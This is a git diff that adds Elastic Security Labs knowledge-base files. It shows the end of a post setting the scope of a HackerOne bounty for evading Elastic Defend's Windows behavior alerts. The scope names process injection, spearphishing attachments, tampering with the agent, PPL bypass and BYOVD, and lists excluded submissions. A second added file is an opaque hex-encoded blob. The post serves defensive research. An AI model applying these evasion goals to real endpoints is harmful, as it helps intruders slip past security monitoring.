+4. **Include Comprehensive Documentation:** Provide all necessary code, scripts, or configurations used in the testing process to ensure the issue can be independently validated. The submission includes logs, screenshots, or other evidence showing that the attack successfully bypassed specific rules without triggering alerts, providing clear proof of the issue. + +#### Feature details scope + +For this offering, here are additional details to further scope down submissions for this period: + +* **Target:** *Windows Behavior Alerts* +* **Scenario** + * Goal: Gain execution of an arbitrary attacker delivered executable on a system protected by Elastic Defend without triggering any alerts + * Story: User downloads a single non-executable file from their web browser and opens it. They may click through any security warnings that are displayed by the operating system + * Extensions in scope: lnk, js, jse, wsf, wsh, msc, vbs, vbe, chm, psc1, rdp + * Entire scenario must occur within 5 minutes, but a reboot is allowed +* **Relevant MITRE Techniques:** + * [Process Injection, Technique T1055 - Enterprise | MITRE ATT&CK®](https://attack.mitre.org/techniques/T1055) into Windows processes + * Lateral Movement via [Remote Services, Technique T1021 - Enterprise | MITRE ATT&CK®](https://attack.mitre.org/techniques/T1021) and credentials + * [Phishing: Spearphishing Attachment, Sub-technique T1566.001 - Enterprise | MITRE ATT&CK®](https://attack.mitre.org/techniques/T1566/001/) (macro enabled docs, script, shortcuts etc.) + * [Impair Defenses: Disable or Modify Tools, Sub-technique T1562.001 - Enterprise | MITRE ATT&CK®](https://attack.mitre.org/techniques/T1562/001/) (tampering with agents without administrative privileges techniques or techniques related to tampering with Elastic agent, PPL bypass, BYOVD etc.) +* **Additional Success Criteria:** + * Ideally the bypasses can be combined in one chain (e.g. one payload performing multiple techniques and bypassing multiple existing rules scoped for the same techniques) - to avoid bypasses based solely on our public FP exclusions. + * For phishing-based initial access techniques, submissions must clearly specify the delivery method, including how the target receives and interacts with the payload (e.g., email attachment, direct download, or cloud file sharing). +* **Additional Exclusions:** + +Here are some examples of non-acceptable submissions, but not limited to: + +* Techniques that rely on small x-process WriteProcessMemory +* Techniques that rely on sleeps or other timing evasion methods +* Techniques that rely on kernel mode attacks and require administrative privileges +* Techniques that rely on [Phishing, Technique T1566 - Enterprise | MITRE ATT&CK®](https://attack.mitre.org/techniques/T1566/) that are user assisted beyond initial access (e.g. beyond 2 or more user clicks) +* Techniques that rely on well-documented information already in public repositories or widely recognized within the security community without any novel evasion or modification. +* Techniques that rely on legacy / unpatched systems +* Techniques that rely on highly specific environmental conditions or external factors that are unlikely to occur in realistic deployment scenarios +* Techniques that rely on rule exceptions +* Techniques that require local administrator. +* Code injection techniques that rely on small payload size (less than 10K bytes) +* Techniques that rely on less than 10,000 bytes written at a time through a cross process WriteProcessMemory + +#### Questions and disclosure + +Please view our [Security Issues](https://www.elastic.co/community/security) page for any questions or concerns related to this offering. + +## How to get involved + +To participate and learn more, head over to[ HackerOne](https://hackerone.com/elastic) for complete details on the bounty program, submission guidelines, and reward tiers. We look forward to seeing the contributions from the research community and using these findings to continuously enhance the Elastic Security rulesets. Sign up for a [free cloud trial](https://www.elastic.co/cloud/cloud-trial-overview) to access Elastic Security! + +*The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.* diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/bit_bybit.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/bit_bybit.encoded.md new file mode 100644 index 0000000000000..67cdade9677f3 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/bit_bybit.encoded.md @@ -0,0 +1 @@ +35bc5734b6522c2be31d0118b117ec6ee8fbeaaaf419ed6bc27ecf2609c8e5e11980746af1c9232044cdd0fabc5c697ae1c66662bc95207d483cbd339c4d9572ca6853ced19f82ffaa993618ffe7612c7b4699a8154ef9a0a48685006241632094bfa947677560663eeaf9e626a34772046275bf12a84271184af35fbcc17ba7aac5f596c0b703f1ad71c536e9dbd99d866f6d510dc1a6c7a8fc856c4f0e830d0558c720cfb525707f7f18587a1831230d0dbfef964def6fa478186a06f024f92c1d36a551b7c6538781e87c7911dfc7252e8b4f13a835e037fdeceab254eee1103e7320a68c7dee907233c97cffafa9af80c59f74f41c0c9c43f1fb86234368c223c45dc9f6f999a1dde733c923e17150e1c50f95886ec28026394a1a60b2681fdfae5732f0df33e89e0176fb33b84ff96ea167449d3e5262700c7ad05935093107d864f3f86f7d1a6a5e7309819de82a873a713df9831195319cfaa584395cb44915b5c4dea7f60fea6b270ec966d16695c91d384aead34e7732e871068fdac7d89efc3358f7266df9c379e57e408fffd5aec4fb6e68a794444f1b26601896c9ce90268b8c3c8ca9dbffd1fae7a4f101aa09539b1584b3867c186b79491d3b11e46a15f21b91c19f5a0f8c5923a9491568425b3df3f9e855faf9eff7275fbf9537e3d48a3cd6fcb9bb3ea788c2c0d32d9e59be6b2ba3a1264b73245440af76563dd7737b0d632f45b61907945a4235dd991631b00081e17c4623e244dba59586d13fa3fd543d99844bce28bde98bbb7f84915975cf591f5906ce75fce9e5bc91c54c01bfd261e3dbfa390c7704e23b0770b6333c020fa091f7b3d7542018ff2bf4553733242c8f4cfca9d28b288202729f5b6908bccae6f6079e21cc9a62fe0afc584689b11f8f1d7c464490ced7b50d6addd2013aef619a515bf0923438d230030a9a4fee5443116e4a1241d01e6741893a0a235994099e3a6e627cee7d8120a1fa87a232cdc4db449c70576e1649f894bf700fdde890f71912f058402396e327f6d26ffe0912d2e7e8e882517017263a847108a3793e4e29e3cbf1da6a0716bd25a4c647c94d5661a241271736ab0f84479bc28bca57b4ea74b9e4d7b55a7a29541edd7759f1e4d71cb0562e31d19901a8f368441a98be9d0ca9f1f0a7dade3ffd35eca72fc1f7794628f9b0b5e005cb30b4d4e5d9c0bef3f3edead6957efdec3c67ff1cb71789ac7b11b7e0546cd516df83f5cbbc393a723e05f1b5d6e1639ceed36f73e673e117981d78c73e642c3274e507a03848f8cec3f36477dd465ca462b3df2deb99850a20e8ad67ee07c32682b0d6fa07d4aee7226023dd039f67d9209006665f93253c4fd3321770f1b5a62e0766346785efd8005ae336cb0ffcfc6bff3e98d4a83ef1229c329e92cf45d678cb215fba00673488cc3475907e19a88761c8b8ffe4c492c9f3f65adbcc656c317ed3e388c83f13b5cfb052e1eaec61c274be97440e61052233d8506a9b3e39343f06b04186f9576d058201c8c3009641ed4c59de0a1e2eea8dd445dc3c4139be27754c17b3c3293e3a1350d13e9baf6f171f34a8341ed362890e40d851e3acbf7af941e2b768ad27d6e3b4399a74363fe62ebed07355d29650419c0be31b49d9b299cfcd0ac142f9b2b87ae1afbf78072baf9cda3dc32c17e32c589e0b236fbd731743545d2473e602051454c8fd961e7d532c3df5138f537e1494c0c4be35047f870406bc04ecb18f887d9aa818316325445c6cd9ad951f708548dcd09656152b77cb4a7d4fcd50e269065d75fff7c0b4c1a48a2971563694e3150ad9406a68c3c5bae2f1a18aa2129936af951e17cad43e8e2bf67a2a268277d4a5ec080f31cda95f5652763617e6f03ef053b3eb0363f0d7930f4d874d696e43a22cfe74877d591d8b8a43bc2a3b66a3240d8e021eadcecbba51cd78b4c12fc8b152def1e819e5013c0d7d633876d0b1af756b0688b88f4b192e43bfb576e865b2f6d299d5859b406d8a28ab039178437c5de11922aa85d141b575d9b756539ec4813c0652dadffbe16508c52427cf46e4fb375cbef27abd71a5bc9ae005502179f7398c0112d81e7c48f0041541072389bcf1e20647a4c4e124a9fc84c46560838d5d8646776dfe0426dc3066c8ff55dea04c955eef47c1bd64dcae4357f5ce2fe21523d4a85eb8be3c914ef7ffbefae190e129740ca4295d25377735144d63c43cb63d907aa901d9873e40084aa937aeb545733be0009940d6f8b6a806e59b11a87d0ae95cf2d5ff61c938421d3ed270ce46ae0536db8b67cb113cb99f0817cc28724e4458c1b376d4235a615da064b3665f5f78ab7d2d3ab06c55d831e6fd78052e5e5f5d763e7771aad0200abc9788f65b0547c3cb6c11642ccbad819c953ff97f574b56ae32f71abb95945ee65a411e6d9c8b292732718f201a91d38beaa65e27278f1245403c3a5885145863b72675cd92696f98cb6710e56fd16c8d3cd4fe7b93d672bb7e000674407258da4f5148f9dff4b563ff6564de99d9e3f66b69a107c86898d15475f8b476f203519b60c03a9e004b0c8e7a77db6bc044cc03b64fdbab76f06a3a37f42043ab5e47d5edbf6a83f4c1d8d93312a1a88406c37e20e1ddcf9faa77c056a9eb69a86debaf6b6e5cd9173ee1c46b90e4ccabbb0814d7e54df5c364fea92e564a8365cbf935888ce159bb5db548759a0f44cd0cbdf95f6edc6bc1b13a80d276605afb8ec8b5da4b574d3e6dc380f2f2b32cfa92511f1d30a1005a986fe617acaa575fce80b012d282b6229c2243154037c9b7aaa5a2241ee78028a3be25fa1ca2983b04b20ab414fbfe930bfe8546ecc299b55775d0a571123ba5c1a74b419e3f005a7b08060f4410244e211e1cf9130718e7f9a52c50b5e84cbc8797f899c12c48c995c0a387dd4a45fdbaf59a9c29caff2c9d2a1e981d507ce7351ea5076a2d52322e6e7edd800afe820f71dbbda8989f204737c87f181aa71bb37bd32fe9c022c551c584b32124d3ae365b938c95231a228f83a2cfb0f0d334818e99017fbcf6e0dc2346a16b1d37aece92d93ee1324c9139d48a8303724df9f20cd5c76724b1b98ba1c21aace590d7b58d6217bff65aa39146806fc2ed004ed2d6bf01a65988a8b288e11e537967a8d20bd29c5552f19d5d599a3f346f9abd3cead82dfb9e82f9e29d49923a72ecd399ae4318cc284ffb28d69aa8b449a62944d1147cc22483d28584fee1df8631ca37514194d4c4ce775be70b0542a41ec52558e0f4b3dc52a0b176ade0283d27387c7cb030d68d92e4ce8e3b78662e8c0b8592db19d8ca677113b4377f31cbb224e92c7d2793b03c030c6ee2b9833d86e2b8cb818b9eb83ce071a05b59e7bdf053e7530466e18d7724bc633e85ee4d5a25ceebd144dbec3d3e02f2eb375899d8785adfab729b2b7a13d694f49cb806f7bef17735cc17ae0dd949b5c8de46c2d1f7316551227a9fb38eeaa6a6f3b6b37bf322806273a11e9ea44aa93bddcb55367505e11c3e16c21ad685674bfde298dc6e538f568ac468990039ca628def90e85b0e071dabc7abffd027db1b149a327f1098b6ce443c0ddddb4616a3bac47f03570f2f86d4983dcbe050cbdeeadbcb5eeb080b0c814b1a970fd98921402585ddce30d1ee2ca2e1d7a6ddb58e76465a1596cf66cdfcd42c48caef0a86bcddbd4870f9ef8ff7887b8c9fcb317aeda08dd6e4afb75d94ffa30cf5ee75be2d32a204d30ba8d50ee24640f2c613fe4a5226b22f2e4e7e50c59b409a4d985ff51d845d20b3ba6d6e9d38eeba770cf06926afc1455515f4e7cce90a7cf1efb319f898ec6b84b162fe668c7a5333970b316af018c1961f5cecf29bbe0eaa4359b7d39bd9530998d2a656755b820c63cee9382db28d3e55e73bc88ce863d9b04e591572a30694708fada2094dc87cf571461842b348b8fa55adeb485336672d986659d4db184003f27ba4cb3797e70a124d694445d77695055d33fc8665db31e88c82533090fad0b2aac6acf20740861ae0903ee33f7bb6a8b4d35c40b071e8dc460b57a79c9dd69051adea394db0ec158eba68f1855d32eab4a939fbf116b890d9cefc8d819fd56103d943c6303dac4992143e8703969fe1bde7527e56e3abcc1aea75e680d496aa3fcd3813440e4e6ed47c9bde707ce24d0d5a62979ceb871f09af08cc56a843bc350c1e54b3462a63329fdc6e50052f4379b7f9a3eeb5000592abf00577d6051bf4798dd2eadb1211aa8e388d851c6b369c65f3e77d31af77d4cd386416994fd0b2b0a47d8715b416068fd61918ab530245a121857c2080336a12b29587de435e3de526ef5ced88e407f90a9b03b67629d867d0543170af43814fc28a335cd7fa18421e3603982081169a32cccc6866924ded57381a78d9c5b5f18d736fc285a97083b2ec50c4b99a9bb8a5da1ad7e220f99c5c6995e75f30e397228bd49459f55747a62590513b3a3a15c808d1d8ca821344ebf6270d32199f657bd0761205add8ca06abac7719830630094a5e44cbdba50ce1ade767ab42d45bfb1d8397fc208e07d4c2975228ba2a35a44a7017d686882aa664ff2b7cd54b689f63b41143d56831d674d5fa010e03f8c81283a2f69d59bf55e54d25fb02a816d66acad9a904775459cc9db1cf478cb572a700ee6c6feb8d5d15c68e150d276c08dccce515c1b142b292a863bc9b8b62e675116c8bf03758f412a3379675fc6192351615a6d92075517a3850b0e8bd890543eeb4b4aa61c1f3cfc36e9c297ec3e9ac046eea23f6469c322711e7fe89bf7580e8ff442fe934a9c2a021363f6607a6309e40d243c83049e493991a9fa3097b89ef859796e7d59868e262a11ff77c51f5890c7bade72c50326d6d08340e02968c92d45c8289e096f927d7d5ab1686162cf9d4ce4bb5fcd5e016bf1626e1c12c768df64c5d5b33566a1ea46d962eb10e9a3e8f3cfff5dadbaaee1b152e6a36ad005dbaa0e5f9cd05408b386f3a753f686a0cc8b167530e7c9236b0ce4a287d7fdaf141a269a844eddd2042d5fcd875a0fae2a162441b97c14b1cc01df3345bbb8b58852dc5fb461637cfe710f826266f03dccc86d035ac0197cbffafde8e66be8c48b84cff4b8127f52554f257cbd5dd94e2a2ac2ea43ae88d655b52177d5299bba8801f2c26adf2f7abed3d0cd4cd8dfffc7f7b0a5c73270c08a97c62586fe12b8169a2ff39a361f9e0cb13c58122bf572dc6a2902cec06909cbc7de713832aa0498738704b4c4054a361e20a5a7fcf076af913c0555545a3d836d85184b25f6e7e23bf4f7027e7cd8752d6720bc863a7d95be2a262e294c6980444b429b5c3d1cd57b65e0a7c264d577083c7b1530959b31dc24eecfcb6eef4d4f6e23887bfd305ba3ecd6e6411de2156183b1ec5d4e96ff74dab26b405ce1e6e8da2d56d984e7f3ba1b1bdfecc722e5f99e685af83285aca3532cb8817084aae5efbc3aa18f29edfa578b9d3c66b49455f8d6b44677489edde2afd250e02bfa4d21f2b640b45e8692fb66a8d9b2e5d6d13c84e102d6858416417bacd4ff309bb7a05ea1cec31323451c07fa5fd64718367cd87a9b88b48500a61cdf95070cb2da341807bddf4b60e9df587dd38e71c174d47bd26ff1b183af34244e0dd7645a6634c1f23e5c34cfa2732e91180deaf3ee894194484058e3b0813e0ae61f807dc2e1d0c203883f432b2c1d97762658427050b4a12c4ae0a27ac9200ae05527e4c983872fca14e06160a761a1422812a7e72462c4be16e68a776f9be37e1a8354843bbfdf141292b70f2e6a2c7582f6acca0008d0a8183068fb32f6d4c859f96ef9803829b9648e73045cc9f9a4864556ab58c976a25ead7712c65bf6d7e33d3e824ac2930acc15d981fca4c512cc21e86e01558810b5f57752632368218764b13bbcd0f0ec184ac358f2a40edf85a9c175c2e30cd47515c5ff1972c1ea9c879a0726434f5e05442bc40ee388ecbabc6b137e49d75260c91e7d3349fc0422657319a026489dbb26d280b3330a47921fb6be5c1b910887b813580f06c62fdcd2a1e05823088775153041a8ac10a1e07976ab9b34a76169db3d7b5b5217358d924c15c35746dbe4298a7f93d9e4c073e21e47d935ed9fd38ff7c951ded8d7232ca47d9bf01e8249524a903a909fc433285d498f90bad5fe63fb95829bf570b81f87b618556562b3d3099127a55c67e939fa3f875eb317a1763717c6afe1309ca5a7ec4f1c9937da35f16a9abe97599def2a7dfc548f575496032bc53535282fab6023a68a752ffa524782ecff4669c34d4fa711bb6db3275192b92f7a7e90bede91a1fe83b4e9dfb6c74eb0c6ccf07cc2d531a71a135dc911730b838f8740ae5ae269820c13d355bc35acd3cc7c7717c76db2afa708bced7b6d6d5e481c122aed0c9b14390f8ca7bded33529885663419dd21deea61a9bf5bfc51f690429ea43f6e62b597572aa79b31da64cf138286dafccc34d3f34f323a6af25fd7f592f387584b3cacd8a2eddf63ba25838cae667d7636e80b56c5f6170c8f78cb3c5375221d3e54e0e2ea53fe20e10851d97a3772837e2ae1f45f9e34ce25d203dc3334529c68d670dd99f1ae5210c8573607eceeeb90bee95a8fd6d9523905bc558bf1efd149cd09cc30314a1c212a3a364158bed41c31df0af41974bb53cd6ba45503b26b7b13e7498f34ad10e320b6f134c27a2fd480b14294682cad2e7e3751f07a672e6697831bd8e6310530616273c99197d8618782252402eebb909679c41ebd3f595ffa39f9b10960fc722a348a23879d3962a3ced0e6aab1d01d65198dde158dfe7cc9a4492e1718522972e9cd822f149fc9b368566d8fe606e1c14d7b035df1c547ca807a87cba8525e2cc839fc143ad037e0e3947d73e63c83184fc60088c7b551d80f4c5c667f75c81ae04fa10532f30bf83625131af4475f32d51b9982e5bf9d9f626424c771b46e2be4a47ef1804edf6f87793053f419f80adee23d2b2625224d9fad8153aa0d6c0de2714015a144fe35f992441a0ecdd64958b1cbff5fddcc10e170741633ec5956ff1469c81c9d22d7abad02413e6db585280e65f1a98e0b5222b51c941d1b559a31605862be164606376e018ca5083216d2c4c81ba27e057053e5fe2dc2ffd17fbfc5e649c202e90083537b521c286d789a77a645aee660d3507036daf62f45b008b4d655fd51df9754b77a48869c5a3aae973829e97bf91fe24a5ffc5e11f88f3c105eca6562bf3be0dc9256f74375759c8ab9d62b907a2d922a97195ccd55104aa1b71e6f1c5961e74f5acdfa4cb039e992bc73c7e7dbbc1d3bc2a071f91158d9b268a3a572b9a2d483f4e30f06b6d3437a1c32787148af7a74d1608853a55e15c559dacf3d7e6bf9ce698b391dd3c22306dc9ca46514b0779489e123c4403e95be3dbff40e974f9e98896fdcf56687a41e54552d2866065f257d908a39fe1e625dc6623fe36521f6e858727c6bb0e21a043be40e5f9b7100d73f714c2592bdbb734268364f7cc77c45862040f06fe4fffbff77060f401be7cbc858b119c2e940dc846ad61b6792993ddeaf2090e17aad4c146f71b1a995fed0959fe3718350b9527b130ec9eba9e7748ee6170fb065e53afcd6342e2e791863995d87b4f97b490219bb6fdf6b2d1b0ce24359ecaeb1cadfd2d89b8a57084b3013b5d2ad7fae7be099d0bc9b31a70f92ec0d5f8826c1dd62062f41389f255997073c2ea1460967d36c9f4e7e34955b6d2127c98f6c70d7c11ece0964973e356adf719e07e6ce36c52472413151bea9d193ef40ec3e8533e5ae5e7dceedc5e0b3d951a9620737306300b2e5d27353e5659a8a460005c2523e5f5f304569113e91f1440efad50eafbfbd45bfb00e5a75bdd3cdd0db4e76b2c1626c631c0f8ecc344d8fa9cd358d3299b33a3465ae1773cc354e8ea804160591499efddbcca9f866d9b6f4935e904c1ad5f396468b0d6fdc16d983a9c65f4603fe667eb861482437f37c06ab11f538bb465453907ca7c8eb24272f84fa033961f75b5587751e79f7b75876245e28532634b9d4692681c36efcf03846c77ce39d476c124d8ddad0bdfe3edbcdb644cc872d9c2c2146fa1c11b62c6bf54f1bc821bf3d414cc0a7f3a4df94f8645935ca5fffd4145b4d750e1e5db66fb8c2cfd927cf48e08a52ab72db2e555cc21f9d68cdce43fc1045d3c2dffcdd0aa0701356e0f599d8a89d1679a7183ebf59f6d726c9f179091051ef2e018aca822c4246c85c05c52deb9e50af2fed5a817a785ba273750a36533a5825b2b32a591211ffac7fc2480bfa1338784fd38766825853cdfc6e1b92f67b4276c1c48de029afb7f7c799dc8ea493d06050a570416f3c1a8767b8c5dd339776cc88ac03f125f39219582ccb012ff7bc8f7549a8572b2ddbfb15c45a07b8bf292b289efbccb48893c38a28fc759e39abb477a2e3cd96f7fb705a0d18bb14c3e783815e82a54df5d16225f26eb0fa4cc5c877d15f12fff509991634987669f4e101f1620ba6d864985fa8b7c8a440157245a065ff951d6050573beecc15d53a6286063459e60d0bbb84ef5fd03d6b6f9019dc375a45dc17ee8bc29fa37642f27f4f5b4931f4f83a3f7909fbb0e06bc6a78ca82e48219b38d65d423901165066f2e496e4999b5c129dc5ce96bd97bfdaad2cbacd53aff5d44eb8228b6569b002b7a033c1e490a884b9af89e412bf327aa857b1b18fbbeb050eb14c47f45613d70b3e9e358b47ab1511e9ba06f79db3b61c654699a19942922a535f655b2740ac179f90f06bcd2c7c67311b70f6552089a1a1e29a23de73344980c455cd587b2d008a824698cc2dbc315f730b6c3a6913f14006b2143e52fe367cab88886ebc753464836aaf5d887281d6356c5bd63d8620a3049b546163662972fd42d687095e5f204e3ac0da4e939c67a62c607d35f2db67bd094908cb32749d502b2d11de2f7bad9dac6b8f4550e66c1eea5943ec376cb3b43937cafae3fe8c48ab8ca1ad28dc80d41ed4d06ebed43dd82ce8c5bdd70fe8ff2a540a3dce7f9b69db1c546df7ed235727f7b7be68deb3d144b830e6a87aa9cd5cbe20da2cf42e88ed07e99f8af5e812bf02461f5be7eeaff12d4b73cd62237677a00f15f01fccdbd2e33093be2fc2cdb5c39703efc8e3dae36b7fe636301dda90e26ccbd3be788e8fc55ea86f4a354592c28a8f2a3e4132c0529a880bff5c6280b98c69aad8d23524d73b3575e3c9b457ff5b52a4ab3477550daa890a07062d9f32cf032616839c9caa01f05656c3140e6b46cf72d8ec9e3e044b8c1da99d8b73426643b0cb59faf9810e43b14990fcdf41fef70e9ba1dedf5576a01bc22e8c3316e78995ce0f7a2655742a4f7308dc24a1d01fcfbb663f2a763162d9fcdea7eb613c9ef36fe39468d06af576094d83143f1014ac6f645e9957c4fecee20f6b24e769a1254e8750d700639f1368dcbd524b163c5556772fdd65959a350ba44bb91a413f626d0f655346e7b851fd6b42e4dcc533ef651974e1e0ea496861879fd85a09941ab5f65a2fea0f8bc97d1d399ac671d04618ff0f9815b8fe6a24f1ca9091d815f5d49f9fd36b4e50696f876bedc1cb9143bc863309015109912e023d7dcfd55b94a7354da3d8f974acf263543c82f216de6bec99baf5493d59f7b4279ffe22906a491a38a08e42ce2b23800ff2ac5f625f53d0b3235cf52d03eb0c6b56791fd22e35c7e306e70d9c0fc88c11f63fd21026a8d52f9006c56cf15aad30bda6039a4004686fdc8f79d4435c5da5d9937c45cca69689673781df7c6dc456539132f9cdeee3eb625af0ceee6d77b4aa2623c78359789f6e68b4f45781c463d453936840f60eef0110df033733223771915474042252484073c4197152de8232ba825f8dac578501e1c2e053ae2906d7ee6326efab07eeae1534868aad26a8887b7d0a5b31d19285c3d9c931f22ee1fb1bc9383b8f3569518d5159abd5b768eb7488bef96f983f79d30e082cd261138799740a946f113025853ca440beaad9f61b4996002d77156ca6bf825b096d4935fb5a3d8d59b4261ce6102f8133602f858da9bd5822557dc150758f82e8630286ff3fad1239fb4b362ff70b9c5e77cc05dc418b1e9684669fc99d56d3f456d3084874268024bf0a2305407885940a25f9bf22383bef275d83adbe4eb93835dba0658bffb3f1b2427626614d6caf06c920f55f08c6275875de6ba6dde95fd58088c6a1e6c19c9ca4fab20fdee5e43143a8903e55e7c1677913a4beda1e2375b59fa280d4057d685ea7b2873081f3142b7aebf7417a18748715279708ad1e2ad1e500bf0772402a6b44eb5cdefef0b2b095fc34835562e153c5fa1b22261b27432b089f67760020e9ce9b235308d1c84da0467e2255f14e1eedb9bcb768714c24286feffd659df0f78bf705e6419d549867ac188cc89dfb5112810e09e140e29b76e14d11d1b1ccb78f0894dec022c2cd3ff4a8bf5a85b57cd4d6eb920c660fe2731576277c0d1c118ae2de0e9d8af82bdcb49ca5bb2a3c48a2ab880a413acd3171ac54753589e48c1152885e1a3e4d59b818f3ad9e881080ef88161aec2f387d91b69e9810d6ed84459b1f5afdc722a2e34112c51480b50b7d89d2021999cde51c6a322c08aa04f1d3d3b58b26389efd01080bf27962fa453bd225e913f6b9d4ea9fac265b587fe3a27c2998ba339618239eb92cfed365ab416a683efcbb13e9d63da3eac88639ec6566f2b1029a6cc0960e46a39e1f385bc458523569f4dfa141bc2dbdd6c8daab0e374285465f0534a1bf9520a4800cd8fc4c2efcda946ab3cb4eb2faffd656cb20f2ca207fb733cf543dd8452f8887c2a41b5f639af3ee70cab8ec79e9858c00623cc9cec7cd2ffa05d7d5ff5bddde04003fce3cfbe292325f62c309be825cb491458e93d81851fbb865a47b5200b17499a0a18691b40f4cb26f2226ac44876ca04c3ca21237036c8a1a62060603cfab47c8d89afd14ceb55695fef1a2810a11f09bcd6abc6c36e84c955d59ae87377752f69e380755e9d88755521e3c0f643580ef2ffda9219634ed820e97773a7b659edb8d50b0082feedc9abe0ddc534d72977b2e68ec1ff6c56b3af8d18dc533d0b61b70dcf39f820fdf018c1961f5cecf29bbe0eaa4359b7d3ef4fcc4dd4f345a4f83e80afe4ba329cf608084aff77b0baf3ef2a6dd869e3af936d669d2b75ba62404c8d6d6fa8074fb94ef9615ba2dc0ab419ee6a3cb827e747c31e52f6cab5cf09057ad1965e36ad017de0b1bc638218d92bcf61603f95c1d82aeeb71b3077010d9aa34458c66d15d43b5c9e62d745bcc00613c58c5a39458d3dfc5389b95a574e3a7d52b0c3abfc26bb4504e64b787a1d8a204bb448590726d1e7249bb2c92595d593c6cc4b445d239246b0ec8e297a7045ec56d79cf0fbd73aef80c80a0fd01847392b2cdb74c2b83c77ffef10c80404efacef672b45f2ac1d5a39599201f03f26371753ed525654d5db15c3b84ad376173f2dfee957420bb914d4a980a9cf9bec23d8f735d3fa45c7e9061ba9b1b96702e8ba2f6b32640c60a31123ffc002f45a7a6351886f7e559e694befb838d30f7aa5b27f365178bf98b8151e1c01cd699ba5b0f7c05245402910caa8ba70972b5793f3b974935edb4116bb30d56059200131c2f5141670793c3ac8dc1c960d64e4327cca72fda70f7d017f799c1523c4009a63a2449572b22d125863391e2f4905b3138c2ab64a86af8430456dda0e97b7f4f5493ada99ef9047d19f53897ccb9ecc9ef850a5136e533d6cd4478cde91b8b1d57357c0650123910b536cded93a8a600e9602b937a86fc31a339d0442b815941aacec254e334b738fe4cbb241cb2ddabc4174d236e38c186a7732c82d6007e198e3d062e38184bba10e4111683979b1517effb6f879476e67eadf2da6a2e9a0c331416e65e461cb9321d6b12b01c6929e0273bc772f52532f0c4b70c53a83ca3a0bbd942be20faf750f39836148d4c814d6ccf9bf7d2e2317bb59a550ca354967a82197c54e2068d4436a4d6ac7a047aaaf59dff46cea6ae6a04a5cb53bf1c99d9a3ec1e571cbca79aa417a377e4df2e78d090aca766d9160d3166c19e00e3c97ca42ee9b76fcf7f65c93fc0dad37ae35a3aaef10478743042ffbaa06b52cc65a1c1ee9c47a23ab90caa15dfc53100270ff59c9d3595039081a314d1a4306ea70639ab5d749ad95764d3022ad88b1e137b2462ab49bf64573bf0fa30a7233f37aa822dcbc3b0bd0df798b00373846a879f28de66ab6c7636414fe777ab6d0900935037889b027c0449d9c1a371b0a848d020e7b097617af874eee4b7ad8f375e9e92a15f953d29d169f1eeb7ac695f1bcffdea1ad4909a7535ad4233816568221e5878e4d10be249e2f590e01c6dd61ca549a28b15a513db7cb0b4015da9dc163bb6a12d4557f33f3d868c6aded643db06dedd6278e5fcff38c21ef88fc32b991774a0d37412b7aee33a8c148a17dbf6e5e3cd91751b8e4fb5a82e2c775db206a4a8eb7d6115463a58c149146a9fa1fc43ba31f3d1cf78bbca560ef76318866c7f7dbaba3700cc28852cff7fd46ad02ffd44cc77d71bf6ef6a892492a292d02f2d605fd3d1fde8c8b5db6d192d1439aa9de2a9569bea2c7bfd2f08ab36dbeef823a7d07e0ff517d056e1f68107b36b20f8d44b41a02c1b5e0593471d568e67bacf446553f2c6f65e72f408290c70c80b090676b7d373a457a47010398acd71c909f4431bf2b8195c4276c3850c6f78e7cd11fd95fa97b2797a543ae7321422309cb31a0e1a088fe9462c6ab87a9fb2246a6785a32bfe8944073419af988556f3a555ad3abc99dccdf84af9095b6984e62dddabc30fd2d7f052ffbb11e6470acae5722cf33d3f72b45708b08df434f5888616e5a1ad6317df51f093bf722dba55666791adece3e44dd449255939c1402f722ee784746b1f37c20217f781c14af1c3111f0aaea5b1b8a33947aaf0dffa5d85b17741dc03d9000dac7704a0c9ad3f03c0d5ee0510d2cebddb554952a4b6f14d02a5f177fb2a560ee2216e65f762cfcd7370bc5687fb15c07279e8c219900faab0fe7eaba34156e17ddebafca2002b36e461f068ab243830d8831bb72a901d64c02e65bfb663c9391390ba30d286f9114cade1b157a55a57622941aa95c282d2e7e7dbed4b7dd27f58874d3e9326fdfcc35fd72aa85536f9a2617b17d3a51fc8a546ab51e73c5acb4c724b4c5eb856f1fdaad7c25a6aa6d980dac51d3baa0af972549f982c13799bf6ccbc12a23eb2af903b2244e98570099ed3ea24e43f7ecbb23be7baa1bbdada5c793fc9f024c69d3e6ea5c5038a890df1e8ddcaf79336a93c7616effff6eec5c29aee5391e57b592035ec3dd67a8a1de8f5b9cf9b84ecc5be625f9a3c6a713798b22aa0c0401bd1c3fcbabc6e218f97f279275703f60dec2adf0c17325a4c289951069ac322763e5ae7eae129282d65fc33501fab40edf2fe79955a12c7737df57c92651b8f09e83a8838bd3a337202d3f1d4a1bce0b149b98db251cd95ffbdb6edd15f68554d13c21e8670d755e7433c6f653bcdde26ab4d2c5325e72f91e9809527726492e29fc6ba5a05fd0f83cd1f493fcad961ea85c0aff20d1e9c5abe48839104949b653bc7e0dcfb281215da7d8754a6ea5ff8824beacb1f6eb4a0c475bf064c09af98bdc5e17bb7a055b062ec477b2c6e410a36533d882338ad1e631f650ccd14af85aa1f9d555ca05d24055859377c95bc68ac3776018afdf57226b462cca7380f229f8b902f8273b144c54756b273e2e554fcd6f1524f622709a1a777a6779c738e603aeca37931ad3a5605cd024b184851e7d0c18644670420b5180be67cf5f122b645855b85b5e253ca35c207e4266dd6d8ea2ab1c73d58cfbedc5deff16aac634523d327990b3cc29fa31ef42489bbdd8fd66be43940a59372f2e7a1e3c6843f31d1b8bcf3f21d1937b2142c918aa75dc793e0597a6c3bbe92b8d447bd31baa087e616a73332b01d859523e114645f0f7ddd2be1296616edf0075ddfbc633ff9dcff0954a79a6d00ae5c7263aec4c7a798e437fa331cffe95a79d63f33b98821cabc5b8df78c6db6cc1bd8674069221191fd0f1a995a56ce061a6a3e91e617739f68d19a3418cea6308255a8aca28d7c7d10ff831b1a81c4e9078326a1e9cef8a0f83ad4a3136a3d7ca0c187f32a987624e01522bbb5e31de39a9b155d6de3f8bb918b190660b2f860ae0cc71427da8806bca6deea7c00eaf34224a94a57f08f2821f90b254cc4da147d2c757ce254d3bd53afcc6a171e6228a55ddd71b304774983d7ba05ce82feafa8a7e2b23aca5131ea340bdf99b3fbae9720c96ecd0e3dedfbb536143c7fa5ef33ff5543976ecaca989be596312f13f9